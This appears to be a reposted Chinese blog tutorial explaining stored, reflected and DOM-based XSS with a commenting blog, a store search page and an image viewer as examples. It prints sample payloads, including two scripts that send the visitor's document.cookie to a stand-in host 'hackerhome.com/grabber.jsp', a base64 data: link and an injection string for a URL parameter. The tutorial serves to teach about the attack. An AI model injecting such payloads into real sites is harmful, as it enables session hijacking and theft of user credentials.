文档章节

XSS attacks

Oscarfff
 Oscarfff
发布于 2015/06/12 16:31
字数 1748
阅读 95
收藏 4
点赞 0
评论 0

       最近才开始研究HTML以及安全问题。如果有什么说得不对的地方,望请指出。

  在网络应用安全中,XSS可能是最常见,范围最大,所包含攻击方法最多,同时也是最难以理解的一种攻击。在OWASP所列出的十大网络应用安全风险中,其排名第二位,仅次于SQL Injection。

  就以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下HTML标记:

1 <Script>alert(“XSS attack available!”);</Script>

 

  在读者按下提交键之后,该标记将被提交到服务器上,并在其它用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:

1 <div>
2     <Script>alert(“XSS attack available!”);</Script>
3 </div>

 

  而从用户的角度来看,该网页中就出现了一个警告:

  也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=16 height=16 border=0 />');</script>

 

  该段脚本将向当前评论内插入一个图片,而该图片所对应的URL则指向了hackerhome中的JSP页面grabber.jsp。从访问该评论的用户这一角度看来,其仅仅是一个不能显示的图片。但是对于恶意攻击者而言,该JSP页面将自动记录传入的msg参数内容,即访问评论用户所使用的cookie。该cookie可能包含用户的敏感信息,甚至是用户名,密码等重要信息

  上面的XSS示例实际上是最容易理解的一种:Stored。除此之外,XSS攻击还包含另外两种攻击方式:Reflected以及DOM Based(Type-0 XSS)。下面我们就来具体讲解各个攻击方式以及各自的特点。

  首先要讲解的就是我们已经见过的Stored攻击。该攻击的最大特点就是,用于攻击的数据永久地存储在目标网站的服务器中。试着回想上面所给出的例子:在恶意用户提交带有恶意代码的评论时,为了能让该评论可以被其它用户看到,网站的开发人员必然需要将其永久性地存储起来,例如数据库。使用该方法进行攻击的XSS将对所有访问该页面的用户可见,并且一直保存下去,直到该评论被管理员处理。

  第二类XSS攻击则是Reflected攻击。该攻击的最大特点则与Stored攻击相对:用于攻击的数据并不是永久地存储在目标网站的服务器中。

  那这种攻击是如何实现的呢?请试想这样一种情况:某个网站允许其用户通过搜索的方式查找具有特定名称的商户。对于商户名称SomeStore,该搜索功能所返回的页面地址可能为:

1 www.SomeWeb.com/search.jsp?storename=SomeStore

 

  如果该查找功能没有查找到具有该名称的商户,那么网站将会返回一个错误页面:没有查找到名称为SomeStore的商户信息。此时恶意用户首先可以通过在搜索栏中输入<Script>alert(“XSS attack available!”);</Script>并执行搜索判断该网站是否有XSS漏洞。如果返回的搜索页面出现了“XSS attack available!”消息框,那就表示该页面仅仅简单地将URL中的参数SomeStore显示在了页面之中,而并没有对脚本的执行做出防备。接下来,恶意用户就可以将商户名设为如下的恶意代码:

1 <script>document.write('<img src=http://www.hackerhome.com/grabber.jsp?msg='+document.cookie+'
2     width=0 height=0 border=0 />SomeStore');</script>

 

  也正是由于搜索页面仅仅简单地将该部分组成直接嵌于页面之上,因此用户从服务器端得到的网页将包含该段代码,其将自动访问hackerhome上的grabber.jsp,并将用户的cookie作为参数msg的值,从而使得受害者的cookie失窃。

  但是如何让用户访问这个页面呢?很简单,恶意用户仅仅需要向那些受害者发送该搜索的链接,并为该链接附上一段具有吸引力的话即可。如果受害者点击了该恶意链接,同时该网站的cookie在受害者的本地机器上没有过期,那么这个cookie将被恶意网站hackerhome所窃取。

  还有一种类型的攻击也被归类为Reflected类型的攻击,那就是利用data:协议动态生成文件。该协议允许客户端直接创建二进制文件,如Doc或PDF文件等,并使用相应应用程序打开该文件。例如,恶意用户可以通过XSS插入下面的链接:

1 <a href="data:text/html;base64,PHNjcmlwdD5vcGVuZXIuZG9jdW1lbnQuYm9keS5pbm5lckhUTUw9J3h
2    4b28nO2Nsb3NlKCk8L3NjcmlwdD4=" target="_blank">Click me</a>

 

  如果用户点击了该链接,那么电脑将自动使用关联的程序打开该文件。由于这些文件的读取等动作都需要相应的应用程序支持,因此恶意人员可以更进一步地利用相应的应用程序漏洞执行更丰富的攻击。

  最后一种则是DOM Based攻击,又常常被称为Type-0 XSS攻击。它与前两种攻击方式拥有很大的不同:Stored和Reflected方式中,对有害内容的生成是在服务端完成的,而DOM Based攻击中,对有害内容的生成是在客户端完成的。例如一个图片浏览页面在URL中使用index参数表示当前用户所察看图片的索引,并通过javascript动态写入HTML元素:

1 <script>
2     var index = getIndex(document.URL);
3     document.write(“<IMG src=’www.imagestore.com/album1984/image?index=’ + index + ‘/>’”)
4 </script>

 

  那么恶意用户就可以通过在URL的index参数中插入其它信息来完成。例如在该URL中,恶意用户可以为index参数指定参数值后额外添加一部分恶意语句,如经过编码后的index=1/><script>alert(“XSS attack available!”)</script><img width=0 height=0。当然,恶意用户并不会希望用户自己攻击自己,因此他仍然需要做一些额外的社会工作,例如发送邮件给受害者并诱使他点击该有害链接等。

二、Tomcat当中设置哪些地方可以减少XSS 攻击

国外关于这方面的说明

 

三、某论坛xss刷票实践

http://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=8641&highlight=%E5%88%B7%E7%A5%A8

 

 

 

 

本文转载自:http://www.cnblogs.com/loveis715/archive/2012/07/13/2506846.html

共有 人打赏支持
Oscarfff
粉丝 71
博文 815
码字总数 96913
作品 0
崇明
后端工程师
Session hijacking attack

The Session Hijacking attack consists of the exploitation of the web session control mechanism, which is normally managed for a session token. Because http communication uses ma......

Oscarfff
2016/07/20
9
0
The 2017 OWASP Top 10 Update

What's In, What's Out, and What's Next? The 2017 OWASP Top 10 focuses on the top threats that remain from years past as well as introduces new, significant threats while acknowl......

James Lee
2017/12/19
0
0
ProxyStrike

ProxyStrike Package Description ProxyStrike is an active Web Application Proxy. It’s a tool designed to find vulnerabilities while browsing an application. It was created becau......

Oscarfff
2016/09/21
7
0
BwApp学习记录

下载&安装 bwapp可以单独下载,然后部署到apache+php+mysql的环境,也可以下载他的虚拟机版本bee-box,但是有好多漏洞是bee-box里边有,但单独安装bwapp没有的,比如破壳漏洞,心脏滴血漏洞等...

nw01f
2017/07/24
0
0
大家注意了Subrosa只是开源了客户端!!!没什么意义

Source code The Subrosa client is open source, and is licensed under GPLv3. It's recommended to host and access the client locally. The latest release is v0.20. (Download) Note:......

卧枝会中田
2014/06/18
355
0
Skipfish 2.01b 发布,Web 安全检测工具

skipfish是Google推出的一款免费、开源、Web应用程序安全检测工具。 skipfish主要特点: 扫描速度快 易于使用 尖端的安全逻辑 目前skipfish更新至2.01b版,新版本主要改变如下: Substantial ...

红薯
2011/07/05
575
1
ProjectForge 5.3 发布,项目管理解决方案

ProjectForge 5.3 发布,此版本是一个安全版本发布,请各位用户尽快更新! 主要更新内容如下: 发现一些漏洞(需要 logged-in-user):Cross-Site-Request-Forgery (CSRF),XSS of JSON-Strin...

oschina
2014/01/02
1K
1
web渗透测试套件--WebSploit

WebSploit 是一个开源项目,主要用于远程扫描和分析系统漏洞。使用它可以非常容易和快速发现系统中存在的问题,并用于深入分析。 WebSploit由多个模块组成,具体如下: Autopwn – 使用Metas...

匿名
2012/03/30
3.4K
0
CodeIgniter 3.1.3 发布,PHP 的 MVC 框架

CodeIgniter 3.1.3 发布了,CodeIgniter 是一个简单快速的 PHP MVC 框架。该版本带来了一些关键的安全性修复,以及许多的错误修复。 安全:修复了电子邮件的处理问题,XSS 漏洞以及一些 CSRF...

局长
2017/01/10
1K
6
轻量级 Web 开源服务器Hiawatha

Hiawatha是一款开源的Web 开源服务器, 作者Hugo Leisink 2002年在荷兰学习计算机科学时开发的,设计目的为安全,快速易于配置的轻量级服务器。Hiawatha支持Linux, BSD 以及 MacOS X。 特点:...

marsdream
05/03
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

Laravel5.5 MySQL配置、读写分离及操作

Laravel 让连接不同数据库以及对数据库进行增删改查操作: 参考:http://laravelacademy.org/post/854.html 配置读写分离 应用的数据库配置位于 config/database.php(但是数据库用户及密码等...

MichaelShu
6分钟前
0
0
Linux 查看用户

存储帐号的文件:/etc/passwd 存储密码的文件:/etc/shadow 查看当前系统所有用户 grep bash /etc/passwd root修改普通用户的密码 sudo passwd user_name 然后连续两次输入新的用户密码即可...

yeahlife
13分钟前
0
0
Webpack使用nodemon实时打包编译

业务场景: 1.编写一个npm组件包并且link到了项目文件中 2.需要不断的修改并run build编译npm包并且在项目run dev 查看效果 3.问题: 每次改完npm包都要手动run build编译十分的麻烦且低效,可不...

JamesView
24分钟前
0
0
电脑炸了,浪费我好几天时间,还是简要记下来吧

我的小本本一直在兢兢业业的干活,然而前几天说炸就炸了...... 爆炸现场: 软件: windows10 pro + EIS11+ 360卫士 BIOS:N1DET98W 2.24 硬件: Xeon E3 1505-V5 nv-M3000M thinkpadP70:20E...

Oh_really
28分钟前
0
0
Git之branch和checkout

1.branch是查看、创建、删除分支 #>git branch --helpNAME git-branch - List, create, or delete branchesSYNOPSIS git branch [--color[=<when>] | --no-color] [......

汉斯-冯-拉特
30分钟前
0
0
Mybatis拦截器之数据权限过滤与分页集成

需求场景 最近项目有个数据权限的业务需求,要求大致为每个单位只能查看本级单位及下属单位的数据,例如:一个集团军下属十二个旅,那么军级用户可以看到所有数据,而每个旅则只能看到本旅部...

佛系程序猿灬
39分钟前
9
0
SpringCloud 微服务 (十六) 服务追踪 Zipkin

问题 在服务中,有一个接口,该A接口中又调用了其他服务的B、C、D接口,出现一个请求耗时大的问题,这时候并不知道该B、C、D接口中哪个接口造成的耗时量,然后比如确定C服务接口出现的耗时量大,但...

___大侠
今天
0
0
Java面试基础篇——第八篇:抽象类与接口的区别

1.抽象类 抽象类:如果一个类中包含有抽象方法,或这个类使用abstract关键字修饰,则称这个类是抽象类。 抽象方法是什么呢?抽象方法就是指用abstract关键字修饰的方法。 需要注意的是:抽象...

developlee的潇洒人生
今天
2
0
jsoup 相关资料

1.jsoup 2.Jsoup概述 3.jsoup入门 4.jsoup Java HTML Parser 1.11.3 API

IT追寻者
今天
1
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部